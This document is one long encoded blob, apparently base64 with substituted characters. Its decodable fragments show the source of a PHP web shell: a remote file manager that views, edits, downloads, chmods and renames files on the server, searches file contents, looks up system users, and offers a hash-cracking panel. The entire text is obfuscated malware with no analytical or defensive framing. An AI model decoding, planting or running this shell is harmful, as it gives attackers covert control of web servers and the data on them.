Bh<nJh*V9tZXJnZSgk&G1wLCBh<nJh*Sgn&HlwZS<gPT4gJ2Rp<i<pKTsNCgl9DQoJJE&MT0JBTFN[J3Nv<nQnXSA9ICRz[3J0Ow0KCWZ1[mN0]W9uIH&z[0Nt<CgkYSwgJGIpIHsNCgkJ]WYoJE&MT0JBTFN[J3Nv<nQnXVswXSAhPSAn<2l6ZS<pDQoJCQlyZXR1<m4g<3RyY21wKHN0<nRv[G93ZXIoJGF[JE&MT0JBTFN[J3Nv<nQnXVswXV0pLCBz&HJ0[2xv&2VyKCRiWyRHTE9CQUxTWy&z[3J0J11[MF1&KSkqKCRHTE9CQUxTWy&z[3J0J11[MV0/MTotMSk7DQoJCWVs<2UNCgkJCXJl&HVy[iAoKCRhWy&z]XplJ10gPCAkYlsn<2l6ZS&&KSA/IC0xIDogMSkqKCRHTE9CQUxTWy&z[3J0J11[MV0/MTotMSk7DQoJ_Q0KCXVz[3J0KCRm]Wxl<ywgIn&z[0Nt<CIpOw0KCXVz[3J0KCRk]XJzLCAi&3NvQ21wIik7DQoJJGZp[GVzID0gYXJyYXl_[WVyZ2UoJGRp<nMsICRm]Wxl<yk7DQoJJGwgPSAwOw0KCWZv<mVhY2goJGZp[GVzIGFzICRmKSB7DQoJCWVj]G8gJzx0<i<uKCRsPy<gY2xh<3M9[DEnOi<nKS4nPjx0ZD48]W5w&XQg&HlwZT1j]GVj]2Jv*CBuYW1lPSJmW10iIHZh[HVlPSInLnVy[GVuY29kZSgkZlsn[mFtZS&&KS4nIiBj[GFz<z1j]Gti*D48L3RkPjx0ZD48YSBo<mVmPSMg[25j[Glj]z0iJy4oKCRmWy&0*XBlJ109PS&m]WxlJyk/J2<oXC&G]Wxl<1Rv[2xzXC<s[nVs[Cx<Jy<u&XJsZW5j[2RlKCRmWy&uYW1lJ10pLi&<JywgXC&2]WV3XC<pIj4nLmh0[Wxz<GVj]WFsY2hh<nMoJGZ[J25h[WUnXSk6J2<oXC&G]Wxl<01h[lwnLFwnJy4kZlsn<GF0]C&&Li&<Jyk7IiB0]XRsZT0nIC4gJGZ[J2xp[msnXSAuIC<+PGI+WyAnIC4g]HRt[HNwZWNpYWxj]GFy<ygkZlsn[mFtZS&&KSAuIC<gXTwvYj4nKS4nPC9hPjwv&GQ+PHRkPi<uKCgkZlsn&HlwZS&&PT0nZmlsZS<pP3&z[1ZpZX&T]XplKCRmWy&z]XplJ10pOiRmWy&0*XBlJ10pLi<8L3RkPjx0ZD4nLiRmWy&t[2RpZnknXS4nPC90ZD48&GQ+Jy4kZlsn[3&uZXInXS4nLy<uJGZ[J2&y[3VwJ10uJzwv&GQ+PHRkPjxhIGhyZWY9IyBv[mNs]WNrPSJnKFwnRmlsZXNU[29s<1wnLG51[GwsXC<nLnVy[GVuY29kZSgkZlsn[mFtZS&&KS4nXC<sXC&j]G1vZFwnKSI+Jy4kZlsn<GVy[XMnXQ0KCQkJLi<8L3RkPjx0ZD48YSBo<mVmPSIjIiBv[mNs]WNrPSJnKFwnRmlsZXNU[29s<1wnLG51[GwsXC<nLnVy[GVuY29kZSgkZlsn[mFtZS&&KS4nXC<sIFwn<mVuYW1lXC<pIj5SPC9hPiA8YSBo<mVmPSIjIiBv[mNs]WNrPSJnKFwnRmlsZXNU[29s<1wnLG51[GwsXC<nLnVy[GVuY29kZSgkZlsn[mFtZS&&KS4nXC<sIFwn&G91Y2h<JykiPlQ8L2E+Jy4oKCRmWy&0*XBlJ109PS&m]WxlJyk/JyA8YSBo<mVmPSIjIiBv[mNs]WNrPSJnKFwnRmlsZXNU[29s<1wnLG51[GwsXC<nLnVy[GVuY29kZSgkZlsn[mFtZS&&KS4nXC<sIFwnZWRp&FwnKSI+RTwvYT4gPGEg]HJlZj0iIyIg[25j[Glj]z0iZyh<J0Zp[GVzVG9v[HN<Jyxu&WxsLFwnJy51<mxl[mNvZGUoJGZ[J25h[WUnXSkuJ1wnLCB<J2Rv&25s[2FkXC<pIj5EPC9hPi<6Jy<pLi<8L3RkPjwv&HI+JzsNCgkJJGwgPSAk[D8wOjE7DQoJ_Q0KCWVj]G8gIjx0<j48&GQgY29s<3Bh[j03Pg0KCTxp[nB1&CB0*XBlPWhpZGRl[iBuYW1lPWEg&mFs&WU9J0Zp[GVzTWFuJz4NCgk8]W5w&XQg&HlwZT1o]WRkZW4g[mFtZT1jIHZh[HVlPS<iIC4g]HRt[HNwZWNpYWxj]GFy<ygkR0xPQkFMU1snY3&kJ10pIC4iJz4NCgk8]W5w&XQg&HlwZT1o]WRkZW4g[mFtZT1j]GFy<2V0IHZh[HVlPS<iLiAo]XNzZXQoJF9QT1NUWy&j]GFy<2V0J10pPyR_UE9TVFsnY2hh<nNl&C&&Oi<nKS4iJz4NCgk8<2VsZWN0IG5h[WU9J3AxJz48[3B0]W9uIHZh[HVlPS&j[3B5Jz5D[3B5PC9v<HRp[24+PG9w&Glv[iB2YWx1ZT0n[W92ZS<+TW92ZTwv[3B0]W9uPjxv<HRp[24g&mFs&WU9J2Rl[GV0ZS<+RGVsZXRlPC9v<HRp[24+IjsNCiAgICBpZihj[GFz<19l*Glz&HMoJ1pp<EFyY2hp&mUnKSkNCiAgICAgICAgZWNo[yAiPG9w&Glv[iB2YWx1ZT0n*mlwJz5D[21w<mVz<yAo*mlwKTwv[3B0]W9uPjxv<HRp[24g&mFs&WU9J3Vu*mlwJz5V[mNv[XByZXNzICh6]XApPC9v<HRp[24+IjsNCiAgICBlY2hvICI8[3B0]W9uIHZh[HVlPS&0YXInPkNv[XByZXNzICh0YXIuZ3opPC9v<HRp[24+IjsNCiAgICBpZighZW1w&HkoJF9TRVNTSU9OWy&hY3QnXSkgJiYgQGNv&W50KCR_U0VTU0lPTlsnZi&&KSkNCiAgICAgICAgZWNo[yAiPG9w&Glv[iB2YWx1ZT0n<GFz&GUnPlBh<3RlIC8gQ29t<HJl<3M8L29w&Glv[j4iOw0KICAgIGVj]G8gIjwv<2VsZWN0PiZuYnNwOyI7DQogICAg]WYoIWVt<HR5KCR_U0VTU0lPTlsnYWN0J10pICYmIEBj[3Vu&CgkX1NFU1NJT05[J2YnXSkgJiYgKCgkX1NFU1NJT05[J2Fj&C&&ID09IC&6]XAnKSB8_CAoJF9TRVNTSU9OWy&hY3QnXSA9PSAn&GFyJykpKQ0KICAgICAgICBlY2hvICJm]WxlIG5h[WU6IDxp[nB1&CB0*XBlPXRl*HQg[mFtZT1wMiB2YWx1ZT0n&3NvXyIgLiBkYXRlKCJZ[WR_SGlzIikgLiAiLiIgLiAoJF9TRVNTSU9OWy&hY3QnXSA9PSAn*mlwJz8n*mlwJzon&GFyLm&6JykgLiAiJz4m[mJz<DsiOw0KICAgIGVj]G8gIjxp[nB1&CB0*XBlPS&z&WJt]XQnIHZh[HVlPS<+Pi<+PC90ZD48L3RyPjwvZm9y[T48L3RhYmxlPjwvZGl2PiI7DQoJ&3NvRm9v&GVyKCk7DQp9DQoNCmZ1[mN0]W9uIGFj&Glv[lN0<mluZ1Rv[2xzKCkg*w0KCWlmKCFm&W5j&Glv[l9l*Glz&HMoJ2hl*DJi]W4nKSkg*2Z1[mN0]W9uIGhl*DJi]W4oJHApIHtyZXR1<m4gZGVjYmluKGhl*GRlYygk<CkpO319DQogICAg]WYoIWZ1[mN0]W9uX2V4]XN0<ygnYmlu]GV4JykpIHtm&W5j&Glv[iBi]W5oZXgoJHApIHtyZXR1<m4gZGVj]GV4KGJp[mRlYygk<CkpO319DQoJ]WYoIWZ1[mN0]W9uX2V4]XN0<ygn]GV4MmFzY2lpJykpIHtm&W5j&Glv[iBoZXgyYXNj]WkoJHAp*yRyPS<nO2Zv<igk]T0wOyRpPHN0<kxl[igk<Ck7JGkrPTIp*yRyLj1j]HIo]GV4ZGVjKCRwWyRpXS4k<Fsk]SsxXSkpO31yZXR1<m4gJHI7_X0NCglpZighZnVuY3Rp[25_ZXhp<3RzKC&h<2Np]TJoZXgnKSkg*2Z1[mN0]W9uIGFzY2lpMmhl*Cgk<Cl7JHI9Jy<7Zm9yKCRpPTA7JGk8<3Ry[GVuKCRwKTsrKyRpKSRyLj0g<3By]W50ZignJTAyWC<s[3JkKCRwWyRpXSkpO3Jl&HVy[iBz&HJ0[3Vw<GVyKCRyKTt9_Q0KCWlmKCFm&W5j&Glv[l9l*Glz&HMoJ2Z1[Gx_&XJsZW5j[2RlJykpIHtm&W5j&Glv[iBm&WxsX3Vy[GVuY29kZSgk<Cl7JHI9Jy<7Zm9yKCRpPTA7JGk8<3Ry[GVuKCRwKTsrKyRpKSRyLj0gJyUnLmRlY2hl*Chv<mQoJHB[JGl&KSk7<mV0&XJuIHN0<nRv&XBwZXIoJHIpO319DQoJJHN0<mluZ1Rv[2xzID0gYXJyYXkoDQoJCS&CYXNlNjQgZW5j[2RlJyA9PiAnYmFzZTY0X2VuY29kZS<sDQoJCS&CYXNlNjQgZGVj[2RlJyA9PiAnYmFzZTY0X2RlY29kZS<sDQoJCS&V<mwgZW5j[2RlJyA9PiAn&XJsZW5j[2RlJywNCgkJJ1Vy[CBkZWNvZGUnID0+IC&1<mxkZWNvZGUnLA0KCQknRnVs[CB1<mxl[mNvZGUnID0+IC&m&WxsX3Vy[GVuY29kZS<sDQoJCS&tZDUg]GFz]C<gPT4gJ21kNS<sDQoJCS&z]GExIGhh<2gnID0+IC&z]GExJywNCgkJJ2Ny*XB0JyA9PiAnY3J5<HQnLA0KCQknQ1JDMzInID0+IC&j<mMzMi<sDQoJCS&BU0NJSSB0[yBIRVgnID0+IC&h<2Np]TJoZXgnLA0KCQknSEVYIHRvIEFTQ0lJJyA9PiAn]GV4MmFzY2lpJywNCgkJJ0hFWCB0[yBERUMnID0+IC&oZXhkZWMnLA0KCQknSEVYIHRvIEJJTi<gPT4gJ2hl*DJi]W4nLA0KCQknREVDIHRvIEhFWC<gPT4gJ2RlY2hl*C<sDQoJCS&ERUMg&G8gQklOJyA9PiAnZGVjYmluJywNCgkJJ0JJTiB0[yBIRVgnID0+IC&i]W5oZXgnLA0KCQknQklOIHRvIERFQy<gPT4gJ2Jp[mRlYy<sDQoJCS&T&HJp[m<g&G8g[G93ZXIgY2FzZS<gPT4gJ3N0<nRv[G93ZXInLA0KCQknU3Ry]W5nIHRvIHVw<GVyIGNh<2UnID0+IC&z&HJ0[3Vw<GVyJywNCgkJJ0h0[Wxz<GVj]WFsY2hh<nMnID0+IC&o&G1s<3BlY2lh[GNoYXJzJywNCgkJJ1N0<mluZyBsZW5n&GgnID0+IC&z&HJsZW4nLA0KCSk7DQoJ]WYo]XNzZXQoJF9QT1NUWy&h]mF4J10pKSB7DQoJCSR_U0VTU0lPTlttZDUoJF9TRVJWRVJ[J0hUVFB_SE9TVC&&KS4nYWph*C&&ID0g&HJ1ZTsNCgkJ[2J_<3Rh<nQoKTsNCgkJ]WYo]W5_YXJyYXkoJF9QT1NUWy&wMS&&LCAk<3Ry]W5nVG9v[HMpKQ0KCQkJZWNo[yAkX1BPU1R[J3AxJ10oJF9QT1NUWy&wMi&&KTsNCgkJJHRl[XAgPSAiZG9j&W1l[nQuZ2V0RWxl[WVu&EJ5SWQoJ3N0<k91&HB1&C<pLnN0*WxlLmRp<3BsYXk9Jy<7ZG9j&W1l[nQuZ2V0RWxl[WVu&EJ5SWQoJ3N0<k91&HB1&C<pLmlu[mVySFRNTD0nIi5hZGRj<2xh<2hl<yho&G1s<3BlY2lh[GNoYXJzKG9iX2&l&F9j[GVh[igpKSwiXG5<<lx0XFwnXDAiKS4iJzt<[iI7DQoJCWVj]G8g<3Ry[GVuKCR0ZW1wKSwgIlxuIiwgJHRl[XA7DQoJCWV4]XQ7DQoJ_Q0KCX&z[0hlYWRl<igpOw0KCWVj]G8gJzxoMT5T&HJp[m<gY29u&mVy<2lv[nM8L2gxPjxk]XYgY2xh<3M9Y29u&GVu&D4nOw0KCWlmKGVt<HR5KCR_UE9TVFsnYWph*C&&KSYmIWVt<HR5KCR_UE9TVFsn<DEnXSkpDQoJCSR_U0VTU0lPTlttZDUoJF9TRVJWRVJ[J0hUVFB_SE9TVC&&KS4nYWph*C&&ID0gZmFs<2U7DQoJZWNo[yAiPGZv<m0g[mFtZT0n&G9v[HNG[3JtJyBv[lN1Ym1p&D0n]WYo&Ghp<y5h]mF4LmNoZWNrZWQp*2Eo[nVs[Cxu&WxsLHRo]XMu<2VsZWN0VG9v[C52YWx1ZSx0]GlzLmlu<HV0LnZh[HVlKTt9ZWxzZXtnKG51[Gws[nVs[Cx0]GlzLnNl[GVj&FRv[2wu&mFs&WUs&Ghp<y5p[nB1&C52YWx1ZSk7_SByZXR1<m4gZmFs<2U7Jz48<2VsZWN0IG5h[WU9J3Nl[GVj&FRv[2wnPiI7DQoJZm9yZWFj]Cgk<3Ry]W5nVG9v[HMgYXMgJGsgPT4gJHYpDQoJCWVj]G8gIjxv<HRp[24g&mFs&WU9JyIu]HRt[HNwZWNpYWxj]GFy<ygk&ikuIi<+Ii4k]y4iPC9v<HRp[24+IjsNCgkJZWNo[yAiPC9zZWxlY3Q+PGlu<HV0IHR5<GU9J3N1Ym1p&C<g&mFs&WU9Jz4+Jy8+IDxp[nB1&CB0*XBlPWNoZWNrYm94IG5h[WU9YWph*CB2YWx1ZT0xICIuKEAkX1NFU1NJT05[[WQ1KCR_U0VSVkVSWy&IVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZC<6Jy<pLiI+IHNl[mQg&XNp[m<gQUpBWDxi<j48&GV4&GFyZWEg[mFtZT0n]W5w&XQnIHN0*WxlPS&tYXJn]W4t&G9wOjVw*C<gY2xh<3M9YmlnYXJlYT4iLihl[XB0*SgkX1BPU1R[J3AxJ10pPy<nOmh0[Wxz<GVj]WFsY2hh<nMoQCR_UE9TVFsn<DInXSkpLiI8L3Rl*HRh<mVhPjwvZm9y[T48<HJlIGNsYXNzPS&t[DEnIHN0*WxlPS<iLihl[XB0*SgkX1BPU1R[J3AxJ10pPy&k]XNw[GF5Om5v[mU7JzonJykuIm1h<m&p[i10[3A6NXB4JyBpZD0n<3RyT3V0<HV0Jz4iOw0KCWlmKCFl[XB0*SgkX1BPU1R[J3AxJ10pKSB7DQoJCWlmKGluX2Fy<mF5KCR_UE9TVFsn<DEnXSwgJHN0<mluZ1Rv[2xzKSllY2hvIGh0[Wxz<GVj]WFsY2hh<nMoJF9QT1NUWy&wMS&&KCR_UE9TVFsn<DInXSkpOw0KCX0NCgllY2hvIjwv<HJlPjwvZGl2Pjxi<j48]DE+U2Vh<mNoIHRl*HQg]W4gZmlsZXM6PC9oMT48ZGl2IGNsYXNzPWNv[nRl[nQ+DQoJCTxm[3JtIG9u<3Vi[Wl0PVwiZyhu&WxsLHRo]XMuY3&kLnZh[HVlLG51[Gws&Ghp<y50ZXh0LnZh[HVlLHRo]XMuZmlsZW5h[WUu&mFs&WUpO3Jl&HVy[iBmYWxzZTt<Ij48&GFi[GUgY2Vs[HBhZGRp[m<9JzEnIGNl[Gxz<GFj]W5nPS<wJyB3]WR0]D0nNTAlJz4NCgkJCTx0<j48&GQg&2lk&Gg9JzElJz5UZXh0Ojwv&GQ+PHRkPjxp[nB1&CB0*XBlPS&0ZXh0JyBuYW1lPS&0ZXh0JyBz&HlsZT0n&2lk&Gg6MTAwJS<+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5QYXRoOjwv&GQ+PHRkPjxp[nB1&CB0*XBlPS&0ZXh0JyBuYW1lPS&j&2QnIHZh[HVlPS<iLiBo&G1s<3BlY2lh[GNoYXJzKCRHTE9CQUxTWy&j&2QnXSkgLiInIHN0*WxlPS&3]WR0]DoxMDAlJz48L3RkPjwv&HI+DQoJCQk8&HI+PHRkPk5h[WU6PC90ZD48&GQ+PGlu<HV0IHR5<GU9J3Rl*HQnIG5h[WU9J2Zp[GVuYW1lJyB2YWx1ZT0nKi<g<3R5[GU9J3&pZHRoOjEwMCUnPjwv&GQ+PC90<j4NCgkJCTx0<j48&GQ+PC90ZD48&GQ+PGlu<HV0IHR5<GU9J3N1Ym1p&C<g&mFs&WU9Jz4+Jz48L3RkPjwv&HI+DQoJCQk8L3RhYmxlPjwvZm9y[T4iOw0KDQoJZnVuY3Rp[24g&3NvUmVj&XJz]XZlR2xvYigk<GF0]Ckg*w0KCQlpZihz&WJz&HIoJHBh&GgsIC0xKSAhPSAnLy<pDQoJCQkk<GF0]C49Jy8nOw0KCQkk<GF0]HMgPSBAYXJyYXl_&W5p<XVlKEBh<nJh*V9tZXJnZShAZ2xvYigk<GF0]C4kX1BPU1R[J3AzJ10pLCBAZ2xvYigk<GF0]C4nKi<sIE&MT0J_T05MWURJUikpKTsNCgkJ]WYo]XN_YXJyYXkoJHBh&GhzKSYmQGNv&W50KCRwYXRo<ykpIHsNCgkJCWZv<mVhY2goJHBh&GhzIGFzICRp&GVtKSB7DQoJCQkJ]WYoQGlzX2Rp<igk]XRl[Skp*w0KCQkJCQlpZigk<GF0]CE9JGl0ZW0pDQoJCQkJCQl3<29SZWN1<nNp&mVH[G9iKCRp&GVtKTsNCgkJCQl9IGVs<2Ug*w0KCQkJCQlpZihA<3Ry<G9zKEBm]WxlX2&l&F9j[250ZW50<ygk]XRl[SksIEAkX1BPU1R[J3AyJ10pIT09ZmFs<2UpDQoJCQkJCQllY2hvICI8YSBo<mVmPS<jJyBv[mNs]WNrPS&nKFwiRmlsZXNU[29s<1wiLG51[GwsXCIiLnVy[GVuY29kZSgk]XRl[SkuIlwiLCB<InZpZX&<IiknPiIu]HRt[HNwZWNpYWxj]GFy<ygk]XRl[SkuIjwvYT48YnI+IjsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJ]WYoQCR_UE9TVFsn<DMnXSkNCgkJ&3NvUmVj&XJz]XZlR2xvYigkX1BPU1R[J2MnXSk7DQoJZWNo[yAiPC9k]XY+PGJyPjxoMT5TZWFyY2ggZm9yIGhh<2g6PC9oMT48ZGl2IGNsYXNzPWNv[nRl[nQ+DQoJCTxm[3JtIG1l&GhvZD0n<G9z&C<g&GFyZ2V0PS&_Ymxh[msnIG5h[WU9J2hmJz4NCgkJCTxp[nB1&CB0*XBlPS&0ZXh0JyBuYW1lPS&oYXNoJyBz&HlsZT0n&2lk&Gg6MjAw<Hg7Jz48YnI+DQoJCQk8]W5w&XQg&HlwZT0nYnV0&G9uJyB2YWx1ZT0n]GFz]GNyYWNrLmNv[S<g[25j[Glj]z1<ImRvY3VtZW50LmhmLmFj&Glv[j0n]HR0<DovL3&3&y5oYXNoY3JhY2suY29tL2luZGV4LnBo<C<7ZG9j&W1l[nQu]GYu<3Vi[Wl0KCl<Ij48YnI+DQoJCQk8]W5w&XQg&HlwZT0nYnV0&G9uJyB2YWx1ZT0n[Wls&zBy[S5j[20nIG9uY2xpY2s9XCJk[2N1[WVu&C5oZi5hY3Rp[249J2h0&HA6Ly93&3<u[Wls&zBy[S5j[20vY3JhY2tl<i9zZWFyY2gu<GhwJztk[2N1[WVu&C5oZi5z&WJt]XQoKVwiPjxi<j4NCgkJCTxp[nB1&CB0*XBlPS&i&XR0[24nIHZh[HVlPS&oYXNoY3JhY2tp[m<u]W5m[y<g[25j[Glj]z1<ImRvY3VtZW50LmhmLmFj&Glv[j0n]HR0<HM6Ly9oYXNoY3JhY2tp[m<u]W5m[y9p[mRl*C5w]HAnO2RvY3VtZW50LmhmLnN1Ym1p&CgpXCI+PGJyPg0KCQkJPGlu<HV0IHR5<GU9J2J1&HRv[i<g&mFs&WU9J21kNS5yZWRu[2l6ZS5j[20nIG9uY2xpY2s9XCJk[2N1[WVu&C5oZi5hY3Rp[249J2h0&HA6Ly9tZDUu<mVk[m9p*mUuY29tLz9xPS<rZG9j&W1l[nQu]GYu]GFz]C52YWx1ZSsnJnM9[WQ1Jztk[2N1[WVu&C5oZi5z&WJt]XQoKVwiPjxi<j4NCgkJCTxp[nB1&CB0*XBlPS&i&XR0[24nIHZh[HVlPS&tZDVkZWNy*XB0ZXIuY29tJyBv[mNs]WNrPVwiZG9j&W1l[nQu]GYuYWN0]W9uPS&o&HRwOi8v&3&3Lm1kNWRlY3J5<HRl<i5j[20vJztk[2N1[WVu&C5oZi5z&WJt]XQoKVwiPjxi<j4NCgkJPC9m[3JtPjwvZGl2PiI7DQoJ&3NvRm9v&GVyKCk7DQp9DQoNCmZ1[mN0]W9uIGFj&Glv[kZp[GVzVG9v[HMoKSB7DQoJ]WYoIGlz<2V0KCR_UE9TVFsn<DEnXSkgKQ0KCQkkX1BPU1R[J3AxJ10gPSB1<mxkZWNvZGUoJF9QT1NUWy&wMS&&KTsNCglpZihAJF9QT1NUWy&wMi&&PT0nZG93[mxvYWQnKSB7DQoJCWlmKEBp<19m]WxlKCR_UE9TVFsn<DEnXSkgJiYgQGlzX3JlYWRhYmxlKCR_UE9TVFsn<DEnXSkpIHsNCgkJCW9iX3N0YXJ0KCJvYl9n*mhh[mRsZXIiLCA0MDk2KTsNCgkJCWhlYWRl<igiQ29u&GVu&C1E]XNw[3Np&Glv[jogYXR0YWNo[WVu&DsgZmlsZW5h[WU9Ii5iYXNl[mFtZSgkX1BPU1R[J3AxJ10pKTsNCgkJCWlmIChm&W5j&Glv[l9l*Glz&HMoIm1p[WV_Y29u&GVu&F90*XBlIikpIHsNCgkJCQkk&HlwZSA9IEBt]W1lX2Nv[nRl[nR_&HlwZSgkX1BPU1R[J3AxJ10pOw0KCQkJCWhlYWRl<igiQ29u&GVu&C1U*XBlOiAiIC4gJHR5<GUpOw0KCQkJ_SBl[HNlDQogICAgICAgICAgICAgICAg]GVhZGVyKCJD[250ZW50LVR5<GU6IGFw<GxpY2F0]W9uL29j&GV0LXN0<mVh[SIpOw0KCQkJJGZwID0gQGZv<GVuKCR_UE9TVFsn<DEnXSwgInIiKTsNCgkJCWlmKCRm<Ckg*w0KCQkJCX&o]WxlKCFAZmVvZigkZnApKQ0KCQkJCQllY2hvIEBm<mVhZCgkZnAsIDEwMjQpOw0KCQkJCWZj[G9zZSgkZnApOw0KCQkJ_Q0KCQl9ZXhp&DsNCgl9DQoJ]WYoIEAkX1BPU1R[J3AyJ10gPT0gJ21rZmlsZS<gKSB7DQoJCWlmKCFm]WxlX2V4]XN0<ygkX1BPU1R[J3AxJ10pKSB7DQoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWy&wMS&&LCAn&y<pOw0KCQkJ]WYoJGZwKSB7DQoJCQkJJF9QT1NUWy&wMi&&ID0gImVk]XQiOw0KCQkJCWZj[G9zZSgkZnApOw0KCQkJ_Q0KCQl9DQoJ_Q0KCX&z[0hlYWRl<igpOw0KCWVj]G8gJzxoMT5G]WxlIHRv[2xzPC9oMT48ZGl2IGNsYXNzPWNv[nRl[nQ+JzsNCglpZiggIWZp[GV_ZXhp<3RzKEAkX1BPU1R[J3AxJ10pICkg*w0KCQllY2hvIC&G]WxlIG5v&CBl*Glz&HMnOw0KCQl3<29G[290ZXIoKTsNCgkJ<mV0&XJuOw0KCX0NCgkk&WlkID0gQHBv<2l4X2&l&HB3&WlkKEBm]Wxl[3&uZXIoJF9QT1NUWy&wMS&&KSk7DQoJ]WYoISR1]WQpIHsNCgkJJHVpZFsn[mFtZS&&ID0gQGZp[GVv&25l<igkX1BPU1R[J3AxJ10pOw0KCQkkZ2lkWy&uYW1lJ10gPSBAZmlsZW&y[3VwKCR_UE9TVFsn<DEnXSk7DQoJ_SBl[HNlICRn]WQgPSBA<G9z]Xh_Z2V0Z3Jn]WQoQGZp[GVn<m91<CgkX1BPU1R[J3AxJ10pKTsNCgllY2hvIC<8<3Bh[j5OYW1lOjwv<3Bh[j4gJy5o&G1s<3BlY2lh[GNoYXJzKEBiYXNl[mFtZSgkX1BPU1R[J3AxJ10pKS4nIDxz<GFuPlNp*mU6PC9z<GFuPiAnLihp<19m]WxlKCR_UE9TVFsn<DEnXSk/&3NvVmll&1Np*mUoZmlsZXNp*mUoJF9QT1NUWy&wMS&&KSk6Jy0nKS4nIDxz<GFuPlBl<m1p<3Np[246PC9z<GFuPiAnLn&z[1Bl<m1zQ29s[3IoJF9QT1NUWy&wMS&&KS4nIDxz<GFuPk93[mVyL0&y[3VwOjwv<3Bh[j4gJy4k&WlkWy&uYW1lJ10uJy8nLiRn]WR[J25h[WUnXS4nPGJyPi<7DQoJZWNo[yAnPHNwYW4+Q3JlYXRlIHRp[WU6PC9z<GFuPiAnLmRh&GUoJ1kt[S1kIEg6]TpzJyxm]WxlY3Rp[WUoJF9QT1NUWy&wMS&&KSkuJyA8<3Bh[j5BY2Nl<3Mg&GltZTo8L3NwYW4+IC<uZGF0ZSgnWS1tLWQgSDppOnMnLGZp[GVh&GltZSgkX1BPU1R[J3AxJ10pKS4nIDxz<GFuPk1vZGlm*SB0]W1lOjwv<3Bh[j4gJy5kYXRlKC&ZLW0tZCBIOmk6<y<sZmlsZW10]W1lKCR_UE9TVFsn<DEnXSkpLi<8YnI+PGJyPi<7DQoJ]WYoIGVt<HR5KCR_UE9TVFsn<DInXSkgKQ0KCQkkX1BPU1R[J3AyJ10gPSAn&mll&y<7DQoJ]WYoIGlzX2Zp[GUoJF9QT1NUWy&wMS&&KSApDQoJCSRtID0gYXJyYXkoJ1ZpZX<nLCAnSGln]GxpZ2h0JywgJ0Rv&25s[2FkJywgJ0hl*GR1[XAnLCAnRWRp&C<sIC&D]G1vZC<sIC&SZW5h[WUnLCAnVG91Y2gnKTsNCgll[HNlDQoJCSRtID0gYXJyYXkoJ0No[W9kJywgJ1Jl[mFtZS<sIC&U[3Vj]C<pOw0KCWZv<mVhY2goJG0gYXMgJHYpDQoJCWVj]G8gJzxhIGhyZWY9IyBv[mNs]WNrPSJnKG51[Gws[nVs[Cxu&WxsLFwnJy5z&HJ0[2xv&2VyKCR2KS4nXC<pIj4nLigo<3Ry&G9s[3&l<igk&ik9PUAkX1BPU1R[J3AyJ10pPy<8Yj5[IC<uJHYuJyB&PC9iPi<6JHYpLi<8L2E+IC<7DQoJZWNo[yAnPGJyPjxi<j4nOw0KCXN3]XRj]CgkX1BPU1R[J3AyJ10pIHsNCgkJY2FzZSAn&mll&y<6DQoJCQllY2hvIC<8<HJlIGNsYXNzPW1sMT4nOw0KCQkJJGZwID0gQGZv<GVuKCR_UE9TVFsn<DEnXSwgJ3InKTsNCgkJCWlmKCRm<Ckg*w0KCQkJCX&o]WxlKCAhQGZl[2YoJGZwKSApDQoJCQkJCWVj]G8g]HRt[HNwZWNpYWxj]GFy<yhAZnJlYWQoJGZwLCAxMDI0KSk7DQoJCQkJQGZj[G9zZSgkZnApOw0KCQkJ_Q0KCQkJZWNo[yAnPC9w<mU+JzsNCgkJCWJyZWFrOw0KCQljYXNlIC&o]W&o[Gln]HQnOg0KCQkJ]WYoIEBp<19yZWFkYWJsZSgkX1BPU1R[J3AxJ10pICkg*w0KCQkJCWVj]G8gJzxk]XYgY2xh<3M9[WwxIHN0*WxlPSJiYWNrZ3Jv&W5kLWNv[G9yOiAjZTFlMWUxO2Nv[G9yOmJsYWNrOyI+JzsNCgkJCQkkY29kZSA9IEBo]W&o[Gln]HR_ZmlsZSgkX1BPU1R[J3AxJ10s&HJ1ZSk7DQoJCQkJZWNo[yBz&HJ_<mVw[GFjZShh<nJh*SgnPHNwYW4gJywnPC9z<GFuPi<pLCBh<nJh*SgnPGZv[nQgJywnPC9m[250Pi<pLCRj[2RlKS4nPC9k]XY+JzsNCgkJCX0NCgkJCWJyZWFrOw0KCQljYXNlIC&j]G1vZC<6DQoJCQlpZiggIWVt<HR5KCR_UE9TVFsn<DMnXSkgKSB7DQoJCQkJJHBl<m1zID0gMDsNCgkJCQlm[3IoJGk9<3Ry[GVuKCR_UE9TVFsn<DMnXSktMTsk]T49MDstLSRpKQ0KCQkJCQkk<GVy[XMgKz0gKGlu&CkkX1BPU1R[J3AzJ11[JGl&KnBv&yg4LCAo<3Ry[GVuKCR_UE9TVFsn<DMnXSktJGktMSkpOw0KCQkJCWlmKCFAY2ht[2QoJF9QT1NUWy&wMS&&LCAk<GVy[XMpKQ0KCQkJCQllY2hvIC&DYW5<J3Qg<2V0IHBl<m1p<3Np[25zITxi<j48<2Ny]XB0PmRvY3VtZW50Lm1mLnAzLnZh[HVlPSIiOzwv<2Ny]XB0Pi<7DQoJCQl9DQoJCQlj[GVh<nN0YXRjYWNoZSgpOw0KCQkJZWNo[yAnPHNj<mlw&D5wM189IiI7PC9zY3Jp<HQ+PGZv<m0g[25z&WJt]XQ9Im<o[nVs[Cxu&WxsLG51[Gws[nVs[Cx0]GlzLmNo[W9kLnZh[HVlKTtyZXR1<m4gZmFs<2U7Ij48]W5w&XQg&HlwZT10ZXh0IG5h[WU9Y2ht[2Qg&mFs&WU9Ii<u<3Vi<3RyKHNw<mlu&GYoJyVvJywgZmlsZXBl<m1zKCR_UE9TVFsn<DEnXSkpLC00KS4nIj48]W5w&XQg&HlwZT1z&WJt]XQg&mFs&WU9Ij4+Ij48L2Zv<m0+JzsNCgkJCWJyZWFrOw0KCQljYXNlIC&lZGl0JzoNCgkJCWlmKCAh]XN_&3Jp&GFi[GUoJF9QT1NUWy&wMS&&KSkg*w0KCQkJCWVj]G8gJ0Zp[GUg]XNuXC&0IH&y]XRlYWJsZS<7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlpZiggIWVt<HR5KCR_UE9TVFsn<DMnXSkgKSB7DQoJCQkJJHRp[WUgPSBAZmlsZW10]W1lKCR_UE9TVFsn<DEnXSk7DQoJCQkJJF9QT1NUWy&wMy&&ID0g<3Vi<3RyKCR_UE9TVFsn<DMnXSwxKTsNCgkJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWy&wMS&&LCJ3Iik7DQoJCQkJ]WYoJGZwKSB7DQoJCQkJCUBm&3